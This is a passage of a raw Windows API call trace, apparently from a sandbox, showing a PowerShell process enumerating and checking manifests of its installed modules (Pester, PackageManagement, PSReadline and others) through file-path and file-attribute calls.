lpOldMode=0x843e340) returned 1 [0096.339] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0096.340] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x32, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x31 [0096.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e344) returned 1 [0096.340] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester" (normalized: "c:\\program files\\windowspowershell\\modules\\pester"), fInfoLevelId=0x0, lpFileInformation=0x843e3c0 | out: lpFileInformation=0x843e3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0096.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e340) returned 1 [0096.340] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0096.340] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0096.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e344) returned 1 [0096.340] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x843e3c0 | out: lpFileInformation=0x843e3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0096.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e340) returned 1 [0096.340] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0096.340] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x36, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", lpFilePart=0x0) returned 0x35 [0096.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e344) returned 1 [0096.340] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline"), fInfoLevelId=0x0, lpFileInformation=0x843e3c0 | out: lpFileInformation=0x843e3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0096.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e340) returned 1 [0096.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e3b4) returned 1 [0096.341] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0096.341] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0096.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x843e0dc | out: lpFindFileData=0x843e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c6488 [0096.341] FindNextFileW (in: hFindFile=0x75c6488, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.341] FindNextFileW (in: hFindFile=0x75c6488, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0096.341] FindNextFileW (in: hFindFile=0x75c6488, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0096.341] FindClose (in: hFindFile=0x75c6488 | out: hFindFile=0x75c6488) returned 1 [0096.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e370) returned 1 [0096.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e37c) returned 1 [0096.341] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0096.342] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0096.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e348) returned 1 [0096.342] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843e3c4 | out: lpFileInformation=0x843e3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0096.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e344) returned 1 [0096.342] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0096.342] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0096.342] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0096.342] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0096.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e36c) returned 1 [0096.342] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x520d7b0 | out: lpFileInformation=0x520d7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0096.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e368) returned 1 [0096.342] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psd1")) returned 0xffffffff [0096.342] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psm1")) returned 0xffffffff [0096.342] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.cdxml")) returned 0xffffffff [0096.342] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.xaml")) returned 0xffffffff [0096.342] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.ni.dll")) returned 0xffffffff [0096.342] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.dll")) returned 0xffffffff [0096.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e3b4) returned 1 [0096.343] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0096.343] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0096.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x843e0dc | out: lpFindFileData=0x843e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c6008 [0096.343] FindNextFileW (in: hFindFile=0x75c6008, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.343] FindNextFileW (in: hFindFile=0x75c6008, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0096.343] FindNextFileW (in: hFindFile=0x75c6008, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0096.343] FindClose (in: hFindFile=0x75c6008 | out: hFindFile=0x75c6008) returned 1 [0096.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e370) returned 1 [0096.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e37c) returned 1 [0096.343] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0096.343] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0096.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e348) returned 1 [0096.343] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843e3c4 | out: lpFileInformation=0x843e3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0096.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e344) returned 1 [0096.344] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0096.344] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0096.344] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0096.344] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0096.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e36c) returned 1 [0096.344] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x520fac8 | out: lpFileInformation=0x520fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0096.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e368) returned 1 [0096.344] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0096.344] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0096.344] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0096.344] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0096.344] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0096.344] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0096.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e3b4) returned 1 [0096.344] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0096.344] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x32, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x31 [0096.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x843e0dc | out: lpFindFileData=0x843e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c5f88 [0096.345] FindNextFileW (in: hFindFile=0x75c5f88, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.345] FindNextFileW (in: hFindFile=0x75c5f88, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1 [0096.345] FindNextFileW (in: hFindFile=0x75c5f88, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0096.345] FindNextFileW (in: hFindFile=0x75c5f88, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0096.345] FindClose (in: hFindFile=0x75c5f88 | out: hFindFile=0x75c5f88) returned 1 [0096.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e370) returned 1 [0096.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e37c) returned 1 [0096.345] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0096.345] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0096.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e348) returned 1 [0096.345] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843e3c4 | out: lpFileInformation=0x843e3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0096.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e344) returned 1 [0096.345] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0096.345] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0096.346] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0096.346] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x323fc20, lpFilePart=0x0 